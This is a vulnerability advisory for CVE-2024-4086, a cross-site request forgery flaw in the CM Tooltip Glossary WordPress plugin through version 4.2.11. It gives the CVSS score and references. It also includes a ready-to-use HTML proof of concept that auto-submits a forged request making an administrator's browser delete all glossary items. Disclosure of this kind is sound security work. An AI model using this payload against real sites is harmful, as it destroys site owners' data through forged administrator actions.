Description

The CM Tooltip Glossary – Powerful Glossary Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2.11. This is due to missing or incorrect nonce validation when saving settings. This makes it possible for unauthenticated attackers to change the plugin’s settings or reset them via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected Version

<= 4.2.11

PoC :

<html>
  <!-- Made by eneriiiii -->
  <body>
    <form action="http://[ASSETS]/wp-admin/admin.php?page=cmtt_settings" method="POST">
      <input type="hidden" name="cmtt&#95;removeAllItems" value="Remove&#32;all&#32;items" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://plugins.trac.wordpress.org/changeset/3076616/enhanced-tooltipglossary/trunk/settings/CMTT_Settings.php?contextall=1&old=3029791&old_path=%2Fenhanced-tooltipglossary%2Ftrunk%2Fsettings%2FCMTT_Settings.php
  • https://www.cve.org/CVERecord?id=CVE-2024-4086
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/enhanced-tooltipglossary/cm-tooltip-glossary-powerful-glossary-plugin-4211-cross-site-request-forgery